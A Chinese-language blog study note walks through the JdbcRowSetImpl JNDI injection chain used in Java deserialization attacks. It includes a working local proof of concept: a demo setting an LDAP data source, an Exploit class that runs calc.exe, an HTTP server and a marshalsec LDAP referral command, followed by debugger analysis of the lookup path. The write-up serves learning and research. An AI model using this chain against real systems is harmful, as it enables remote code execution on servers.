JdbcRowSetImpl 利用链学习笔记
JdbcRowSetImpl 利用链学习笔记
最近在学习反序列化漏洞时碰见了使用 JdbcRowSetImpl 利用链。刚看到它的时候其实有点困惑——一个跟数据库结果集相关的类,怎么会被用来做反序列化?后来把它单独拎出来跑了一遍,才发现这条链的本质很朴素:setAutoCommit() 里藏了一次 JNDI lookup。
这篇随笔就顺着这个 demo 记录下来,顺便把它和上一篇若依文章里的那条链做个对比,当作一份实验笔记。
从简单的 demo 开始
首先编写一个最简单的 demo:
import com.sun.rowset.JdbcRowSetImpl;
public class Main {
public static void main(String[] args) throws Exception {
// jdk版本高于8u191时默认不允许远程类加载,需要暂时设置允许远程类加载
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
System.out.println("DataSourceName: " + rowSet.getDataSourceName());
rowSet.setAutoCommit(true);
System.out.println("AutoCommit: " + rowSet.getAutoCommit());
rowSet.close();
}
}
随后需要一个简单的 Exploit.class 文件,编写如下代码:
public class Exploit {
public Exploit() {
try {
java.lang.Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {}
}
}
将其编译为 .class 文件后,在其目录下运行一个开放端口为 8000 的 HTTP 服务器:
python -m http.server
随后,使用 marshalsec 开放一个 LDAP 服务器(下载地址:https://github.com/mbechler/marshalsec ):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"
运行最开始的 Java 代码,观察到弹出计算器:

断点调试及分析
我们在 rowSet.setAutoCommit(true); 这行打上断点,然后运行,在中断后按下 F7 步进,可以看到下面的调用栈:

进入调用栈,可以看到调用了 connect() 方法:

继续跟进调用栈,发现后续进入了熟悉的 java.naming.InitialContext.lookup 方法。我们之前在若依的定时任务分析( https://www.cnblogs.com/R4v3n/articles/23281700 )里面也稍微进行过分析,在上一篇文章里,其调用链为:
InitialContext#lookup("ldap://127.0.0.1:1389/deserialJackson")
└─ ldapURLContext#lookup(name)
└─ GenericURLContext#lookup(name)
└─ PartialCompositeContext#p_lookup()
└─ ComponentContext#c_lookup()
└─ LdapCtx#c_lookup()
└─ LdapCtx$Obj#decodeObject()
└─ LdapCtx$Obj#deserializeObject()
但在本文的实验里,同样是 InitialContext.lookup(),断点却停在了另一个位置:decodeObject() 返回之后,进入的是这样一行代码。
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
这行代码并不在 decodeObject() 里,而是在它的调用方 LdapCtx.c_lookup() 中。为什么同样是 lookup,最后落到的地方却不一样?
为什么这次的触发链和上次不一样?
我们在上面那条链的 LdapCtx$Obj#decodeObject() 处打上断点:

跟进,逐步调试,发现根本没有进入 deserializeObject() 方法,而是走了 else 的路线:

在这条路线中,将会把 javaClassName、javaCodeBase、javaFactory 这些属性拼装成一个 Reference 对象返回。
随后继续跟进,会调用 DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

再往后就是利用这个 Reference 对象,从远程地址把类下载下来并实例化,从而实现命令执行。
总结
写到这里算是把这条链走通了一遍。回头看,JdbcRowSetImpl 这种类本身其实没什么"漏洞",它的 setAutoCommit() 就是老老实实去连数据源——问题出在有人能把 dataSourceName 改成我们想要的地址。这大概也是反序列化研究里比较有意思的地方:要找的往往不是某个明显的 bug,而是"哪些本来无辜的方法,能被串到不该去的地方"。

浙公网安备 33010602011771号